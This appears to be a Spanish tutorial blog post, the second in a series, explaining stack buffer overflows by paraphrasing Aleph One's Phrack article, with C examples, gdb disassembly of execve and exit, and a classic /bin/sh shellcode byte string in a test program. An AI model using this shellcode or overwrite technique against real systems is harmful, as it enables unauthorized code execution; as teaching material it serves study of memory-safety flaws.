
Buffer Overflows: Ponte las pilas con esta pila II
Continuando con el anterior articulo sobre Buffers Overflow, en los programas que usan la memoria de la maquina (C, C++) un buffer no es otra cosa un puntero que tiene la posición del primer byte de una cadena y el final está representado por un byte NULL ( ). No hay manera de conocer o reservar el tamaño de un buffer exactamente pues esto depende de los caracteres que estén en el.
Esto genera un problema ya que no podemos controlar la cantidad de datos que metemos en un buffer pues podríamos llegar a meter menos y así dejar basura en el buffer, o agregar de más.
Veamos un ejemplo. Recordemos que la memoria se guarda en formato LIFO. Un buffer que contenga abc se vería así «| |c|b|a|», mientras que la memoria que contiene a los buffers abc y 12345 se verían así «| |5|4|3|2|1|-|-| |c|b|a|» donde |-| representa una zona vacía. Esto se debe a que la memoria ocupa bloques «words» de 4 bytes, por lo que para guardar información debemos usar una cantidad de bytes múltiplo de este número, en este caso 12.
Veamos otro ejemplo:
#include <stdio.h> int main(int argc, char **argv){ char jayce[4]="Oum"; char herc[8]="Gillian"; strcpy(herc, "BrookFlora"); printf("%sn", jayce); return 0; }
Esto se vería en la memoria de esta manera:
jayce = |\0|m|u|O| herc = |\0|n|a|i| |l|l|i|G| stack = |\0|m|u|O| |\0|n|a|i| |l|l|i|G| stack despues de strcpy = |-|\0|a|r| |o|l|F|k| |o|o|r|B|
Al ejecutarlo vemos lo siguiente:
usuario@linux:~$ gcc jayce.c usuario@linux:~$ ./a.out ra usuario@linux:~$
Esto sucede porque la cadena está ubicada en la primera palabra de la memoria, y al usar strcpy hemos sobrescrito esta y printf nos muestra el nuevo valor. Recordando que usamos espacios de 4 bytes, y como se ha sobrescrito hasta el último, terminamos con un byte NULL al final, por lo que lo demás ya no nos interesa y lo consideramos como espacio vacío o basura.
Stack Overflow
Ya que conocemos la forma en que funciona la memoria y hemos visto que un desbordamiento de cadena (buffer overflow) la modifica podemos pasar a la siguiente parte. Ataques directos a la pila. Lo que sigue son las técnicas utilizadas para obtener un shell code, llamado así porque funcionan como una consola virtual (y algunas veces incluso nos generan una consola real).
Al desensamblar el programa hemos visto que maneja los registros EBP y ESP para acceder a la pila, y que otro registro llamado EIP nos indica que instrucción es la que deseamos ejecutar. Este se encuentra en la pila al momento de entrar a una función y al salir se hace un push para recuperarla. Esto nos da una gran ventaja ya que si accedemos a la pila podemos modificar el valor previo de esta y así apuntar hacia la dirección de la memoria donde esta nuestro código. Esto suena muy interesante pero requiere mucho trabajo ya que no siempre es fácil saber cómo esta acomodada la memoria. Algunas personas realizan lo que podría llamarse un ataque de brute forcing al escribir sobre la mayor cantidad de memoria una palabra que contenga la dirección del código, pero saber en que posición exacta de la memoria se encuentra este también es algo complicado.
Una manera de solucionar este problema es que conociendo la posición en donde empieza la pila podemos calcular aproximadamente donde se encuentra el buffer, rellenamos el buffer con instrucciones NOP, las cuales no tienen una función real, y agregamos el shell code. Saltamos hacia alguna posición de la pila, que al contener NOP’s correra hasta encontrar el código que deseamos ejecutar.
Ahora viene lo interesante, y lo complicado. Trataré de ponerlo fácil y sencillo. Generalmente los textos que hablan sobre overflows suelen traer un ejemplo como el siguiente:
#include <stdio.h> #include <string.h> char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
Esto proviene de un artículo de Phrack escrito por aleph1, trataré de explicar lo que él hizo en español usando su texto. El explica lo que es un buffer y la memoria, cosa que ya hice. Luego habla de este shell code para poner luego la explicación de cómo crear uno propio. Veamos que significa el código anterior.
Una shell code, como habíamos dicho, es un código que ejecuta una consola virtual, para que se entienda mejor, es un programa dentro de otro programa. En el texto aleph1 utiliza un código muy sencillo que nos da muchas ventajas:
shellcode.c
#include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
Esto nos devuelve una sesion ssh, para los que usan sistemas Unix, dentro de Windows seria como ejecutar la función «System(‘start’)» que nos devolvería una consola. El problema es que está escrito en C y es algo que no podemos escribir directamente en la memoria. Para poder hacerlo debemos compilarlo. La opción -static en gcc nos permite añadir la función execve en el programa para que no trate de insertar una referencia a una librería dinámica. Después lo desensamblamos con gdb.
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump.
Ya que tenemos todo lo analizamos parte por parte:
0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp
Como habíamos dicho debemos guardar el frame actual y luego crear un puntero al marco nuevo para las variables locales. En el código seria:
char *name[2];
Por lo que guarda un espacio para los dos punteros. Cada puntero mide una palabra por lo que reserva 8 bytes.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
Guardamos la posición de la primera cadena en el primer puntero. Esto es:
name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
Esto pone el segundo puntero en null.
name[1] = NULL; 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve>
Empezamos a llamar a la función, recordemos que usamos el sistema LIFO por lo que los parámetros se ingresan en orden inverso. Metemos NULL, leemos name[1] y lo empujamos, leemos name[0] y lo empujamos. Hacemos el call. La funcion execve() esta hecha bajo un sistema Linux con soporte Intel. Las llamadas del sistema (syscalls) varian dependiendo del sistema operativo, del CPU, del compilador, y de algunas otras cosas. Esto puede ser diferente en algunas maquinas.
0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx El inicio de la funcion. Manejamos la pila 0x80002c0 <__execve+4>: movl $0xb,%eax Copia Oxb (11) en la pila. Este es el numero de la syscall execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copia la direccion de name[0] en EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copia la direccion de name[1] en ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copia la direccion de NULL en EDX. 0x80002ce <__execve+18>: int $0x80 Pasa a modo kernel.
Ejecutar execve() no es muy complicado. Sus requisitos son:
- La cadena «/bin/sh » en la memoria.
- La dirección de esa cadena.
- Copiar 0xb en EAX.
- Copiar la dirección de (2) en EBX.
- Copiar (2) en ECX.
- Copiar la dirección de la word NULL en EDX.
- Ejecutar la int $0x80.
Si esto llegara a fallar lo que sucederá es que se ejecutarán las instrucciones que están en la pila después de estas. Para evitar que ejecute código basura debemos incluir una función que termine esto. Para ello usamos el siguiente código:
exit.c
#include <stdlib.h> void main() { exit(0); }
Volvamos a analizarlo otra vez:
[aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump.
Esto coloca el valor 0x1 en EAX, pone el valor de salida en EBX y ejecuta int $0x80. Los pasos para tener una función completa serían:
- La cadena «/bin/sh » en la memoria.
- La dirección de esa cadena.
- Copiar 0xb en EAX.
- Copiar la dirección de (2) en EBX.
- Copiar (2) en ECX.
- Copiar la dirección de la word NULL en EDX.
- Ejecutar la int $0x80.
- Copiar 0x1 en EAX.
- Copiar 0x0 en EBX.
- Ejecutar la int $0x80.
Esto en asm, incluyendo la cadena dentro del código, quedaría así:
movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here.
Esto nos regresa al problema inicial. No conocemos la posición del buffer y por lo tanto tampoco sabemos la posición de nuestras cadenas. Una manera podría ser usando las instrucciones JMP y CALL. Estas usan la dirección IP relativa, lo que nos permite desplazarnos en forma relativa dentro de la memoria, sin usar una dirección específica. Si ponemos un CALL antes de «/bin/sh» y luego usamos un JMP hacia ella, la dirección de «/bin/sh» pasaran a la pila como dirección de retorno de CALL. Lo único necesario sería ponerla dentro de un registro.